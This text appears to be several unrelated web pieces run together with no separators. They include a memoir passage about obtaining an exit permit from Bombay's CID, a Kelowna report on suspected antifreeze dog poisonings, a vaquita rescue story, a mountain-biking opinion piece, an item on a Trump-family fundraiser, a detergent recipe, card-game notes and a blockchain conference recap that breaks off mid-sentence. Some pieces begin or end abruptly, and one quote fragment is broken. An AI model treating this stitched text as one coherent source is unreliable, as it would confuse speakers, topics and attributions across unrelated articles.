At the CID office, located near Crawford Market, I was taken to one Mr Takle (pronounced Taaklay), who examined my passport.
“You have the visa for Poona but it seems you didn’t go there. Why?”
“That’s because of the armed conflict between our two countries,” I replied, weighing my words carefully.
“What do you think of the armed conflict?” was the next question.
“What do you want me to think of an armed conflict between two poor countries with large ill-fed populations,” I replied.
“OK, that’s enough,” said Takle. “Now just tell me why did you go to the Taraporewala book shop?”
I realised that the old Parsi gentleman must have informed the CID office himself. Since I had nothing to hide, I told Takle the whole story. “If you forbid me, I will not go there again to collect the vial of eye drops,” I said.
“I would suggest you go and take two or three vials, because I don’t think there will be Pakistanis coming here for quite sometime. You seem to be a nice fellow. Just don’t go near defence installations,” said Takle in a gentle tone.
“Where are the defence installations?” I queried innocently, only to hear Takle laugh loudly.
“I won’t tell you because tomorrow if you are arrested, you will tell the interrogators that I gave away the locations of the sensitive places. You better ask your relatives. They will tell you where they are,” he said as he gave me my passport back.
“Where will I get the exit permit from?”
That was my last question.
“I shall give it but I need to get the ‘go ahead’ signal from Delhi. You will get to know from the newspapers.”
“You will be the last man to get the exit permit,” he teased me, as he offered me a cup of tea and shared a plate of puff biscuits.
“Don’t worry, I shall see to it that you are the first person to be issued an exit permit.”
I could see that he had taken a liking for me, a feeling that I reciprocated in equal measure. I started visiting him every third or fourth day to find out if he had gotten the notification from the Home Ministry to start issuing the exit permits.
One day Takle told me in a light-hearted tone: “Look, you are coming to my office every other day. I offer you tea but you also demand puff biscuits, as if that’s your birthright. I may be an officer but only in the middle management cadre. You stay at home and I shall phone you as soon as I get the OK from the Home Ministry.”
Since there were no phone connections between the two countries and telegrams and letters were not allowed to be exchanged, my parents in Karachi feared that I was interned.
A month or so later, a relative with a British passport left for London and phoned my father that I was having a good time in Bombay, watching movies and going to clubs and restaurants.
Almost three months after I had arrived in Bombay, I came to know that Pakistanis with ‘connections’ were able to get exit permits.
I approached a Member of Parliament who had been a Godmother to my mom. She wrote a letter to one Mr Venkatesh, a senior officer at the Sachivalya (as the Secretariat is called in Hindi). Mr Venkatesh sent for his secretary and dictated a letter to someone in the Home Ministry, asking him to send it to Delhi by a special service, along with my passport.
Three days later, I got a call from Takle. “Where the hell are you? I am issuing exit permits left, right and centre and there is no trace of you.”
I told him that my passport was in Delhi and that I would get a special permission to leave. “What? You have no idea about the red tape in government offices. Go to your friend and ask him to get your passport back,” came the irritated reply.
I made a dash to Mr Venkatesh’s office. He summoned his secretary and dictated another letter, asking the Home Ministry to return the passport as exit permits were being issued to everyone. I left the room along with the secretary.
I was tense. I took out a pack of cigarettes from my pocket only to realise that I had no match box. I offered a cigarette to the secretary and asked him to light my cigarette. He opened his drawer and, lo and behold, my passport was there.
“Give me my passport back,” I told the secretary, who it seemed had sent the letter but had forgotten to enclose the passport.
“No, I can’t give it to you. I have to follow the instructions. Your passport will go to Delhi and I shall see to it that you get it back in less than a week,” he pleaded.
“If you don’t give it back. I shall go to Mr Venkatesh and then you’ll have had it,” I almost screamed.
“OK, take it but promise me that you will not tell my boss about it?” he said. I did, and have kept my word for 51 years.
Takle issued me the exit permit even though his day’s work was over.
Two days later, I was on an AlItalia flight to Karachi, where a large number of relatives and friends were at the airport to welcome me.
On my next trip to Bombay, which was in 1976, I went to see my friend in the CID office. Takle, I was told, had retired and gone back to his village, where he had died soon after.Photo: Adam Proskiw - Kelowna
2 p.m. update: Temporary signs have been posted at local dog parks alerting pet owners to reports of chemically laced bread being left on the ground.
Reports of contaminated buns or doughnuts and an odour of anti-freeze are unconfirmed by the City of Kelowna and Kelowna RCMP.
“The signs are going up just to make sure dog owners monitor their pets at all times,” said Parks Services Manager Ian Wilson. “We have investigated the reports, but couldn’t confirm there was any contaminated bread left in the Glenmore or Rutland dog parks.”
Wilson says the RCMP have been made aware of the allegation and he urges pet owners to keep a lookout and to immediately report anything suspicious.
Kelowna Parks staff have followed up with a local veterinarian about a dog that was reportedly poisoned last weekend and the veterinarian indicated that testing showed no evidence of poison.
Here is a letter from one of our readers talking about the issue:
'In June I took my two Cocker Spaniels to the dog park on Richter Road (the old KSS property). Later, both dogs started vomiting blood and had bloody diarrhea.
We rushed them to Burtch animal hospital were they put on IV and medications and kept and monitored for a couple of days.
We were lucky they survived.
Dr. Mundy told me that he has had lots of sick dogs with the same symptoms over the past week.
We did not see our dogs eat anything, but that is not to say that they did not find something in the grassy areas, but both dogs did drink out of the water pails at the park.
We did not go back to the Richter Dog Park again until the end of August. While at the park that day, only one of our dogs drank from the water pails.
He ended up with a high Fever and vomiting, I immediately took him to Burtch Animal Hospital.
After examining him Dr. Mundy asked if he had gotten into “Antifreeze”.
The only thing that we notice was that he drank out of the water pails at the dog park and the dog who didn’t drink at the park was not sick.
We are not going to dog parks anymore.
Trudi Parr-Pearson'
A wave of dog poisonings have been reported at various dog parks around Kelowna in the last few weeks.
The latest was reported Saturday morning, when a dog was rushed to Fairfield Animal Clinic with symptoms of poisonings.
The suspected cause is donuts soaked in antifreeze at Hartman's Dog Park in Rutland.
“We were at the Rutland Dog Park when one of my dogs went into the corner and he was eating something and I went over to see what it was and it was an odd coloured donut."
The dog’s owner who does not want to be identified for fear of repercussions (we will call her 'S') told us that her little greyhound could have died from the antifreeze if she had not got him to the vet in time.
“What would have happened if I hadn’t been watching him? He would have come home and got very sick and possibly died, thank goodness I got him to the vet right away," says S.
S says there was a man standing outside the park that warned what her pup had eaten was in fact antifreeze.
“This guy came over who was standing outside the fence and he said don’t let your dog eat those they are covered in antifreeze and I am cleaning them up, even though he had been standing outside the fence for a while watching him eat them," explains S, something she still finds suspicious.
And this isn't the first case; according to Rob Whittle (below) he found antifreeze soaked buns last weekend in Glenmore's Dog Park.
Photo: Facebook
The City of Kelowna says they’ve received several reports of people smelling antifreeze in the dog parks but so far have no physical evidence of it.
S wants to know why the public was not warned right away.
“I am going to call the parks department Monday morning because I want to know why there wasn’t a warning sent out or even signs in the dog parks just warning people that this could have even been possibly going on.”
The City of Kelowna Parks Department could not be reached for comment.
The RCMP tells Castanet they are aware of the complaints but so far have no open files on this matter as to their knowledge no dog owners have come forward to the police.
S says she wanted to file a police report but because her dog was made to throw up right away, within 30 minutes of ingesting the donuts, his blood sample would not show any signs of the antifreeze.
“Because it wasn’t absorbed into his blood there isn’t a sample large enough to give to the RCMP, so they cannot press charges," says S.
Castanet also spoke with her veterinarian Fairfield Animal Hospital who tells us there is no evidence to prove that it was in fact antifreeze as the dog did not test positive and that the current theories are based on suspicion.
Regardless S wants a warning out to other dog owners in Kelowna.
"Someone is targeting dogs in our dog park and if you go there with your dogs be very cautious or I would say don’t go at all right now.”
Photo: Contributed
"It's disgusting that someone would try and hurt an animal," said Alli Sandberg, who has been coming to the Rutland Dog Park every day for the last six months. "It's kind of scary."
If you have any stories, evidence, photos, or video of antifreeze in your local dog park email us at [email protected]
With files from Adam ProskiwUnited States taxpayers will pay more than $600,000 for a daring rescue operation in Mexico aimed at rounding up porpoises in the Sea of Cortez.
United States taxpayers will pay more than $600,000 for a daring rescue operation in Mexico aimed at rounding up porpoises in the Sea of Cortez.
SAN DIEGO (CBS 8) - U.S. Navy dolphins trained in San Diego may soon be flown to Mexico to round up and capture endangered vaquita porpoises.
The plan is described as a rescue operation in the Sea of Cortez but animal advocates are calling it a risky roundup.
Vaquita porpoises are the most endangered marine mammal on the plant, according to a recent survey in the northern Sea of Cortez, the only place where vaquita can be found.
“Based on the data we think there are only about 30 vaquita remaining,” said Barbara Taylor, a NOAA marine biologist based in La Jolla.
Illegal gillnet fishing in the Sea of Cortez is killing off vaquitas at an alarming rate.
“We have had a two year ban on all gillnets in the area with the fisherman being paid not to fish and we are still seeing this decline going on,” said Taylor, who participated in the most recent vaquita survey in the summer of 2016.
Poachers use gillnets to catch totoaba, an endangered fish sold for its swim bladder on the Chinese black market.
“The draw of the swim bladder is that it is used to make your skin look more youthful in soups. So, it's actually cut up and used in soups,” Taylor said.
Marine biologists at NOAA’s Southwest Fisheries Science Center in La Jolla and an international team of scientists are working on a plan to save the vaquita from extinction.
“We have to find them. We have to get a net around an animal that avoids boats. So, it’s going to be a very tall order to be able to capture them,” according to Taylor.
The plan involves using lightweight nets to capture up to 10 of the 30 remaining vaquita and hopefully establish a captive-breeding program near San Felipe.
“They are using some very specialized nets brought from the Netherlands. When the animals hit the nets they can actually come up to the surface and breathe,” Taylor said.
There are only six existing species of porpoise. Some have been held in captivity but others can stress out and die during a capture attempt.
“We don’t know what vaquita are going to be like and we won’t know until we try. If one stressed out and died during the capture process – which of course would be a horrible outcome – we would absolutely stop the entire process,” said Taylor. “There is an independent review panel that is set up to deal with a contingency like this.”
“It’s going to be difficult and we're just going to have to get out there and learn by experience. We’ll just have to figure out the best we can how to manage to get a net around this species that’s quite elusive,” Taylor added.
The plan is risky because no vaquita porpoise has ever been captured or held in pens; and controversial because U.S. Navy dolphins from San Diego will be flown to Mexico to round up vaquita in the wild.
The 80 or so Navy bottlenose dolphins kept in sea pens in San Diego bay for decades have been trained to use echolocation to find underwater mines.
Currently, the Navy is training its dolphins to use that same natural sonar to locate the endangered vaquita porpoises.
“To me it looks a little like a publicity stunt for the Navy,” said Jane Cartmill of the nonprofit San Diego Animal Advocates.
Cartmill said the Navy has been struggling to find a reason to keep its marine mammal program funded since the development of underwater robots, which may one day replace Navy dolphins.
“This is a cause celebre for (the Navy). This gives good justification to keep the marine mammal program going,” said Cartmill.
She said the vaquita rescue plan may not work because porpoises, as opposed to bottlenose dolphins, do not do well in captivity.
“You're putting these individual animals through a very stressful situation at best, being hunted, captured and confined. Even if they survive, they probably won't survive for long,” said Cartmill.
If the breeding effort does prove successful, Cartmill said there still is no safe place to release vaquita back into the wild because illegal gillnetting continues.
“There is a concern that (the vaquita) could wind up in some sort of captive display where tourists or others are coming in and paying to see them,” Cartmill said.
“They’re a unique animal. They haven’t been seen before. They’re cute by most people’s assessment. They would be appealing for people to come to look at. And, that opens the door to exploitation instead of conservation,” she said.
Indeed, a November 2016 report from the International Committee for the Recovery of the Vaquita (CIRVA-8) describes an above-ground vaquita sanctuary in San Felipe with "potential for observation by the public for the purpose of conservation education and outreach, as deemed appropriate by the Mexican government."
“If it turns out that some animals are not going to be suitable for re-release to the wild, they might be good public ambassadors,” admitted Taylor, the NOAA marine biologist.
“But the point is never to make money off of them. The point is to return them back to the wild,” said Taylor.
It will cost an estimated $3 million to build the vaquita sanctuary along the coast of the Sea of Cortez, not including the cost of the U.S. Navy dolphins deployment.
Animal advocates would rather see the resources used to increase enforcement of the gillnet fishing ban in the Sea of Cortez, and perhaps to impose a total fishing ban in the vaquita habitat area.
An international team of scientists and veterinarians plans to launch the rescue effort using ships, aircraft and Navy dolphins in October 2017.The holidays have provided a great opportunity to step back from the busyness of work and the mountain bike world for a few days. Sure, I still got out on my bike, but the time off has made me feel a bit introspective lately.
After thinking about the mountain biking industry and why we do what we do, a question came to my mind:
“Do we take ourselves, and mountain biking, too seriously?”
Now, I’ll be the first to claim that road bikers take themselves way too seriously, and way more seriously than the average mountain biker does. While I enjoy road biking too, Sacred Rides’ recent article titled “10 Reasons Mountain Biking Is Better than Road Biking” is right on the money. And while mountain bikers are way more chill than road bikers, the question is unfortunately still on the table: do we take ourselves too seriously?
Before I dive in, I do have to acknowledge that the bike industry is a multi-billion-dollar industry, and anywhere there’s money to be made it’s serious business. Racers and industry professionals, and even writers like myself, put food on the table and keep the lights on by taking mountain biking seriously. And since very few industry professionals are becoming what anyone would call “rich,” it’s often a struggle to compete with the other guys for the few dollars that are available.
In light of this struggle, perhaps sometimes we as an industry take ourselves too seriously, and maybe it’s our fault for rubbing off on the average consumer. While I don’t necessarily know where the blame lies, here are three ways that I think we average mountain bikers take ourselves and mountain biking way too seriously:
Problem 1: Going Fast / Going Big
Of the three, this is probably the most minor point, but it’s worth noting. I’ve definitely ridden with people who obsess about their speed, cadence, heart rate, lactic threshold, and the aero-friction VS drag quotient of their jersey fabric. The pro racers who keep the power on with their finishing times aside, why are mountain bikers so caught up with going fast out on the trails? I mean, I like to go fast and it’s fun, but do we need to obsess about our speeds?
Some of the least-fun rides I’ve ever been on were rides where I was trying to push my speed, meet a time goal, or burn up a Strava segment. But whenever I do that, there’s no time to stop and take in the views, shoot a couple of photos, drink a beer and chat with friends, or session a gnarly rock garden until I clean it. It’s go, go, go, all the time.
Instead, try going slow on your mountain bike.
Think you’re immune since you ride gravity? Think again. This same mentality can even apply to the gravity scene, and instead of “go fast” it’s “go big.” Why do enthusiast riders, who aren’t in front of the movie camera for the next big flick, put their lives on the line to send a big jump? Oh sure, the adrenaline is awesome, and nailing something huge is super gratifying, but you know what kills that adrenaline buzz the quickest? Breaking your back. Breaking your arm or your leg will kill the buzz pretty well too, because you won’t be riding for many months to come.
You know what’s better than nailing a big jump and risking an injury that could keep you off of the bike for the rest of the season? Hitting smaller jumps, but riding every single day and not getting hurt.
Problem 2: Buying the Latest-and-Greatest Gear
Out of these three problems, I think the industry at large bears the burden of guilt for this one. Take, for example, the incremental component changes and improvements that we see every year. Sure, there have been some great advancements in recent years, including 1×11 drivetrains with clutch-style derailleurs, smoother suspension, and awesome dropper posts. But is it really worth it to upgrade the components that you just bought last year to the tune of thousands of dollars?
As a writer, I’m sure that I’ve been to blame for this before. For instance, I love carbon fiber for its low weight and vibration damping properties, and I’ve said so many times. Dang I love carbon. But have I ever actually paid out of pocket for a carbon bike, or even so much as a pair of carbon handlebars? Hell no, I can’t afford it on a writer’s salary!
As I said above, I love carbon, so I’m not here to hate on carbon or new improvements. However, I am here to advocate against getting caught up in the false impression that you need to upgrade every year to get the latest-and-greatest components. Last year’s model will work just fine, and to be honest, 2010’s products will as well. While we can’t really fault companies for trying to make money (that’s what they do), as consumers we don’t need to buy into all the marketing hype we read.
Bottom line: the best bike to ride is the bike you own, or the bike you can afford. Love what you have, and ride it into the ground.
Problem 3: Negativity
This is the problem that sparked my thought process over the holidays. While for some time we here on Singletracks have been largely immune to the flame wars that have marked other mountain bike websites and forums, I’m sad to say that as Singletracks continues to grow, we’re starting to see more and more vitriol in the comments section and on our Facebook page.
It seems like that’s the price of being a major publication these days, but I really have to wonder: why do people get so bent out of shape on the internet about mountain biking? Seriously, let’s take a step back people: we mountain bike because it’s fun. And if someone chooses to have fun in a different way than you, or chooses to express a differing opinion about this sport that we all love, what’s the point of getting all riled up to the point where you cuss them out and insult their character? While I think level-headed conversation and debate can be productive and interesting, when we reach a level of negativity and hatred where personal attacks and threats are bandied around, the discussion stops being fun for anyone involved in such a flame war.
With the going fast / going big problem, at least those guys are still out riding their bikes. They’re still mountain biking. With the problem of buying the latest-and-greatest gear, while I don’t think it’s smart to obsess about incremental improvements, for many people new gear fuels the desire to ride, and it often does perform better, even if it’s not that much better. However, when it comes to online flame wars about the sport of mountain biking, nobody involved is actually riding their bike at the time of the discussion, and there is absolutely no tangible benefit that comes from such an argument.
Solution
In my humble opinion, when we take the above things too seriously, mountain biking becomes not-fun–or at least, not as fun as it could be. It becomes work, it gets expensive, and it becomes stressful. Why would we want to “work” at biking after we work 40-60 hours a week at our jobs? Why can’t mountain biking be affordable, fun, and relaxing, a stress reliever, an escape from real life?
Answer: it can be. But to do so, I think we need to stop obsessing about things that don’t need to be obsessed about, and enjoy the ride. Heck, try not making any riding goals for 2014. Try not buying any new gear for your mountain bike. And try closing the web browser instead of responding to that idiot on the internet forum.
Grab your mountain bike, ride some singletrack, and have fun!Proposed Fundraiser Featuring Trump's Sons Raises Questions
Enlarge this image toggle caption Robyn Beck/AFP/Getty Images Robyn Beck/AFP/Getty Images
If you have a lot of money to spare, and want to spend time with the Trump family right after the inauguration, earlier Tuesday it seemed you might have been able to make that dream come true.
A new nonprofit organization, the Opening Day Foundation, had advertised access to the Trumps at a big charity event to be held Jan. 21.
The online invitation raised questions about exchanging huge charitable donations for face time with Trump's oldest sons.
Now, the site just says "Coming Soon."
The night-after party is called Opening Day. It has a shooting, fishing and conservation theme. The president's sons, Donald Jr. and Eric, were prominently mentioned in the invitation online.
They're listed as directors on the nonprofit's official filing with the Texas secretary of state.
Enlarge this image toggle caption openingday45.com/Screenshot by NPR openingday45.com/Screenshot by NPR
An early version of the invitation said Donald Trump himself would be at a reception for the $1 million and $500,000 donors.
But late Tuesday afternoon, the Trump transition team described the event and details as "initial concepts" that haven't been approved or pursued by the Trump family. "Donald Trump Jr. and Eric Trump are avid outdoorsmen and supporters of conservation efforts, which align with the goals of this event, however they are not involved in any capacity," spokeswoman Hope Hicks said.
Broadly speaking, such a fundraiser would resemble what goes on in Washington every day. But in other ways, it would be a shocker. For starters, there's the price tag. Political money and ethics lawyer Ken Gross says politicians are always doing receptions — sometimes for politics, sometimes for charity.
It's one thing if donors ante up $5,000 or $10,000. "But when they're giving very huge sums to a charitable foundation, then it can be not just a matter of quantity," Gross says. "It can change the kind of relationship with the individual."
The post-inaugural event was first reported by the Center for Public Integrity and the website TMZ.
It came days after the news that Ivanka Trump was offering a 45-minute coffee date as an auction item for her brother Eric's private foundation before it was cancelled amid criticism.
The propriety of these charity fundraisers was question No. 1 Tuesday when the Trump transition team briefed reporters. Did the president-elect have a policy, or will he make one, on his children's offers of access for contributions?
"I've not spoken yet with the president-elect on that particular issue," said Jason Miller, the transition team's spokesman. "I'm happy to ask him and try to get back to you with an answer."
And why did the organizers even float the idea of having Trump family members headline a charity event — especially one where the specific charities had not even been designated?
Frances Hill, a tax law professor at the University of Miami, says that if donors wanted to give big money to charities they could do it directly.
"There's no reason to make it a three-party transaction," Hill says. "It's the dynamic of currying favor and access with the powerful, and nobody cares as much about the money as about the access."
She points out that the contributions going to access events are tax-deductible."Men's courses will foreshadow certain ends, to which, if persevered in, they must lead," said Scrooge. "But if the courses be departed from, the ends will change. Say it is thus with what you show me!" Ebenezer Scrooge, to The Ghost of Christmas Yet to Come, in “A Christmas Carol.”
Although |
. "The cellphone comes along and you're sitting at lunch with somebody and they start having a conversation with somebody else, which nobody does now because after a few years we figure out that's not appropriate. With the smartphone culture, it's 10 years old and it's taking time to figure out."Detergents contain dozens of potentially harmful ingredients but with just three simple ingredients you can make a cheap, environmentally friendly alternative
How to make your own laundry detergent – and help save the planet
All you need is less
My daughter just turned three. She loves being naked and disrobes at every opportunity, including in the middle of her recent dinosaur-themed birthday party.
I get it – who doesn’t love to be in the buff? But bar those of us lucky enough to live alone in the woods, pesky social norms dictate that we wear clothing. So we wear fabric. And even if you enjoy the thrill of sleeping nude, you’re still nestled into pillowcases and snuggled up to soft sheets.
The point? You presumably wash these textiles at least occasionally, and it’s worth thinking about the ingredients in your detergents.
The costs of environmental damage often seem abstract: a skeletal polar bear floating on an iceberg thousands of miles away, or the threat of rising water levels some decades in the future. Heartbreaking, yes, but seemingly beyond the realm of what we are capable of changing.
Detergent, however, is not.
Laundry ingredients seem innocuous enough, but those cheerful plastic bottles house a host of problems, including the bottle itself. Popular detergents contain dozens of potentially harmful ingredients, including petrochemicals, carcinogens and optical brighteners, which linger on clothing, cause skin irritation and are toxic to marine life.
Tide detergent alone contains 27 separate ingredients – including “fragrance”, which in itself can contain hundreds of individual chemical compounds, and can be used to hide a multitude of sins.
And if you thought the fun was over when you popped that load in the dryer, think again. A recent study from the University of Washington found that dryer vents in homes that use popular scented laundry detergents and dryer sheets emit more than 25 volatile organic compounds, including two known carcinogens.
Yikes. So, why are we paying companies that make us smell ridiculous, when we could be making our own product for a fraction of the cost with a drastically reduced environmental impact?
I swear on my tyrant toddler, it’s not even hard. If you can operate a cheese grater, you can do this.
Homemade laundry detergent
Gather your three ingredients:
• Washing soda (different from baking soda, although not by much)
• Borax (If borax is unavailable or if you’re nervous about using it – some people are – just double the washing soda.)
• A bar of natural soap (I use Dr Bronner’s, which is scented with essential oils)
All should be readily available at your local supermarket (Washing soda and borax are packaged in cardboard boxes and typically take up residence in the bottom shelf of the laundry aisle.).
Take your bar of natural soap and grate it. If you have a food processor with a grater attachment this will be a cinch, if not, you’ll have to make yourself useful by grating a few bars during your next Netflix marathon.
Add the grated soap to 250ml each of washing soda and borax, mix well.
Use one to two tablespoons per load.
I’ve used this recipe for years now – including two years of cloth diapering – in both standard and high-efficiency machines and with mostly cold-water washes. If you can go one step further and snub your dryer – even for a few loads a week – in favour of a clothesline or drying rack, your laundry routine will be lean, green and plastic bottle-free.
But if all of this grating and mixing seems like too much work, you could just, you know, stop wearing clothing altogether. No clothing means no laundry to do, and no laundry to do means you can just ditch detergent completely!
Pint-sized sources in my neck of the woods assure me that it’s the hot new thing – all you need is less, right?Skywalk Enforcer is the reason to play a curse deck. It doesn’t die to torch or annihilate, it has evasion and it grows very quickly if you opponents have units to curse. This enforcer ends game very quickly. Most of my easy wins came off the back of 1-2 of these and a permafrost or 5.
Duskveil Agent is probably the most important card in the deck and is the most important target for your opponents to kill. If they don’t then your entire team starts getting aegis. Triggering nightfall is obviously required, but we’ve got that covered.
Miris Nightshade is such a fun card. Once you get something cursed she’s hugely under costed stat-wise and her ultimate is extremely relevant. One of her more important roles is enabling a turn 3 Zelia, the vain.CoinDesk’s Consensus 2017, the blockchain and decentralized app conference of the year, is officially in the books.
It’s by far the biggest conference in the fledgling blockchain industry but it’s still tiny by tech industry standards. Mega-conferences like the Salesforce Dreamforce Summit, which pulled in 171,000 attendees and another 15 million online, dwarf it by comparison.
But the intimate nature of Consensus brings lots of advantages.
It means you’re likely to run into the CEO or lead programmer of any given company instead of the low-man-on-the-totem-pole flunky they send to hand out t-shirts at bigger industry events. It’s super easy to walk right up to a major investor or blockchain thought-leader and strike up a conversation.
As with any tech conference there’s lots of noise.
Flashy projects dominate, as do ones that copy already well understood ideas.
It’s much simpler to sell an idea to people looking to cash in on the crypto gold rush if they already have a mental framework for the concept. New ideas are harder to pitch because you’ve got a lot of explaining to do just to level set.
It’s easy for projects delivering real technological innovation to slip through the cracks.
The good news is there’s lots of innovation to be found if you know where to look.
The Good and The Bad
Let’s face it, Blockchain is still at the infrastructure development stage.
Consensus was jam packed with people hawking infrastructure. It’s as if they’re selling the Internet before Netscape. “Hey, buy some TCP/IP and some HTTPS. Get your DNS right here!” In the real world nobody gives a crap about infrastructure. It’s plumbing to them. What the world needs is a killer app, but we’re not there yet.
We haven’t hit our Netscape moment. Some folks will tell you Bitcoin is that moment, but it’s not. The Block.One CFO really nailed the reason why:
“We want to enable…decentralized applications that are indistinguishable…from the centralized alternatives.”
In other words, until apps look like any other app in the App store, nobody in the real world cares.
Few people seem to get that yet. The Block.One people, with founders who came from the BitShares and Steemit platforms, get it. It’s also a key focus for us at the Cicada project and Fermat’s Internet of People. Think of it like hybrid cars before the Prius. Up until then hybrid cars looked ugly as hell. They had weird looking frames and covers over the back wheels. Nobody wanted them. But as soon as they started making vehicles that looked like regular cars sales took off. The average person doesn’t care about the cause. They don’t care about privacy or security as John Oliver’s infamous “dick pics” interview with Snowden proved. It’s sad, but true. But if we deliver killer apps, they’ll adopt them in droves and the industry will take off.
The Block.One EOS team also hit on another point that’s killing early projects:
Nobody in the real world will pay microtransactions for everything. It’s insane. They said it best in their talk: “Imagine if you went to Amazon and it costs three cents to load the page. Nobody would do it.”
Exactly.
We need a free tier of transactions in the DecNets of the future. Microtransactions are awesome for things that have actual value. I’ve written and talked about this concept extensively, so it’s awesome to hear others who finally get it!
Speaking of the “decentralized Internet”, which is officially a mainstream term now that it’s the subject of this season’s Silicon Valley, and BlockStack came out of stealth mode with a super-secret decentralized Internet project they’ve been working on for three years. This term is poised to become so overused that it makes eyes roll in the coming years, which is a real shame, because it’s probably the right term.
I read the BlockStack paper with relish. It’s essential to read widely in this field if you want to make an impact in the early days.
The fact is no project will come up with all the ideas to build the internet of tomorrow so I eat up everything that comes out.
There’s zero doubt in my mind that the DecNet will end up as a mashup of multiple projects’ ideas, each of who end up delivering unique pieces of this complicated puzzle. Nobody can think of everything.
The best part of the BlockStack system is storage. It uses any cloud or distributed storage as a dumb backend. It simply encrypts a bunch of files and dumps it into EC2 or Google Compute as a giant blob that the cloud companies can’t decrypt. That’s a brilliant and much needed idea. It returns control of data to users and companies, hides it from the prying eyes of spies and hackers and utilizes robust infrastructure that’s already in place.
Other projects that caught my eye on the infrastructure front were Tezos, QTUM and EOS. EOS sports super high performance, on the level of Visa scale transactions, a la Ripple, free transactions and it has industry heavy hitters behind it.
QTUM sports fantastic branding, a sleek corporate website, and they managed to rack up 11,000 bitcoins in their ICO. That’s a lot of money, 15 million USD at the time, and upwards of 30 million with the continual rocketing rise of Bitcoin (hovering at $2300+ at the time of writing after a huge consortium of Bitcoin power players promised to support SegWit and a 2MB hard fork within six months).
It didn’t hurt that QTUM focused on building bridges between the two largest blockchain communities, Ethereum and Bitcoin. Their pitch is “we support the Ethereum Virtual Machine on the Bitcoin blockchain.” That tag line brought the bitcoins pouring into their hot wallets, shattering previous ICO records. In fact, if you’re looking to raise an eye-popping amount of cash for your project, it doesn’t hurt to fork any of the major projects and bridge them together with a bunch of glue code.
But their project is not all hype.
At the conference they announced a new whitepaper (that I got a sneak peak at ahead of time and that should release soon) as well as code for a governance system to fix the problems that led to the need for a Bitcoin scaling agreement in the first place. The system uses Proof of Stake and allows people to vote on changes which it enforces in the code with smart contracts and a kind of decentralized business rules system. It even has the ability to auto-generate votes so that when the 2MB block they started out with gets saturated it will call a vote to go to 3 or 4MB. That’s awesome.
Tezos is one of those projects that everyone knows about because it has big money behind it. I actually had one conference goer tell me “everyone hates Tezos because it was started by a snooty French mathematician.” Personally, I can’t stand that kind of thinking. I judge each project atomically on its merits. It lives or dies by its ideas for me.
On the down side, they failed to ICO on May 22nd because of a legal snafu. That worked for me though because I was stuck at Consensus and would have missed it anyway. It’s pushed back to June.
This write up of the current state of their code and ideas is a terrific must-read. They’re thinking about things that people are missing right now, like serious security for Proof of Stake. When I was working with the team to design the Cicada Decentralized App Platform concept in the early days of 2015, I hit upon many of the ideas that have come to pass with the modern Proof of Stake 3.0 systems powering coins like PIVX and a myriad of other alt-coins. I didn’t have the proper words for them like signer and witness, but the ideas were very close to what we are seeing in live code today. I ended up disregarding PoS because of the high probability of collusion and because it’s overly complex. I now feel the threats are mitigate-able but I’m worried that too many people have rushed to PoS with understanding the threats.
Tezos gets it.
That’s why they build an “attacker node” that acts like Netflix’s “Chaos Monkey” to constantly try to trick the network, making it stronger. This is an idea that’s taken off in AI as well, called Generative Adversarial Networks. Other projects will rapidly adopt these concepts and that’s a good thing.
Identity Without Authority
The conference also featured some big news on identity. Identity is foundational to the nets of tomorrow.
We need an ID that uniquely identifies everyone and yet paradoxically provides absolute privacy when necessary.
I’ve written a lot on this topic, so it’s one that’s near and dear to my heart. It’s the foundation of the Cicada project. It allows for a novel proof of work that limits everyone to a single miner and drafts them into random pools to secure the network.
Lots of other folks are now working this idea and they’ve united under the Decentralized Identity Foundation. I’m ecstatic to see this come to pass. It brings some serious players to the table and we’re exploring joining the foundation.
Of course, one man’s “decentralized” is another man’s “centralized.” I’ve looked at some of the ideas behind the members of the DIF and a few of them have me very concerned that they don’t really deliver a robust decentralized ecosystem, just a centralized system in sheep’s clothing.
More on that later.
But this is still very early days, so at this point they get the benefit of the doubt and we’ll see what develops.
I think this foundation can do a lot of good in the world because at least 1.5 billion people can’t get an ID. It’s a catch-22. You need an ID to get an ID. In other words you need a piece of paper that says you exist to get another piece of paper that says you exist. That’s literally insane.
The DIF has the opportunity to change all that but they need to be very, very careful that they don’t build a digital tracking system that gives totalitarian regimes the ability to hunt down and discover every single thing their many “enemies of the people” are doing. It’s a tempting for people in power to want to add centralized backdoors and choke points to everything, but when it comes to ID that’s a humanitarian disaster waiting to happen.
Do this wrong and we just built a system to enslave mankind.
Coins, Coins, Everywhere
On to the bit everyone cares about:
What coin will make me the most mulah!?!?
I have no idea. Good luck picking the winners. I have no special insight there.
What I do know is that it seems every single project needs to have a coin these days. This is absurd and needs to stop.
Even projects building a niche part of the Internet of the future are launching their own coins. These coins are useless and won’t generate a cent of value down the line. The industry needs a better way to fund these smaller projects like a decentralized Kickstarter.
For now though, coins are king. ICO fever gripped the conference, as Bitcoin continued to blow gold out of the water. A few other coins generated tremendous bursts, in particular ZCash which doubled from $100 to $200 overnight after JP Morgan announced they’re incorporating the ZCash privacy features into their enterprise blockchain.
I love Zcash but looking under the hood of this announcement tells me that this is not all it’s cracked up to be. I’m highly suspicious of JP Morgan’s motivations here. It seems to me that they and the other banks are already secretly building their own coins.
That is the exact opposite of what we need.
The cryptocoin industry represents an opportunity to break away from banks, or create decentralized banks, but if the banks develop this technology and beat other decentralized coins to building a sound economy around them, then we’re right back where we started, with banks as centralized choke points controlling everything.
Even worse, the Zcash protocol can dial security up or down. It’s like a slider. That means Zcash itself is fine but anything developed by banks will likely include backdoors for spies and regulators. Some will argue this is good because we need regulators but I think it’s a trojan horse to allow the equivalent of web hooks for the spy agencies of the world to track all transactions.
We don’t need a software version of the clipper chip for cash.
Overall, while I expect to see coins continue to proliferate, I’m not sure we need that many more unless they deliver real value.
I see coins as a baked technology.
We have coins to simulate every type of real currency in the world, from gold simulators like Bitcoin, to fast moving anonymous cash simulator currencies like PIVX, ZCash and DASH to everything in between.
What we need now is the digital economy to spend them in.
The Ugly
One thing at the conference had me burning with rage:
Patents.
Companies are trying to snap up patents on ideas that will underpin the basic functionality of the next-gen Internet. Imagine if the founders of the Internet patented TCP/IP and DNS before the net ever got off the ground?
That’s what’s happening right now.
In particular, one of the companies in the Decentralized Identity Foundation seems to have taken the patent everything approach. That company is Civic. Initially I was super excited to meet them when I picked up their flier. I spent about fifteen minutes talking to their team and I came away slightly horrified.
They’re looking to patent an utterly obvious idea that I wrote about and GPLed in Nov of 2016, which is flagging a compromised ID on the blockchain as dead. I wrote that the system could re-enroll a person who’s ID was stolen or compromised or lost and “flag any bit that labels previous biometric data as obsolete/defunct.”
Also, there’s this:
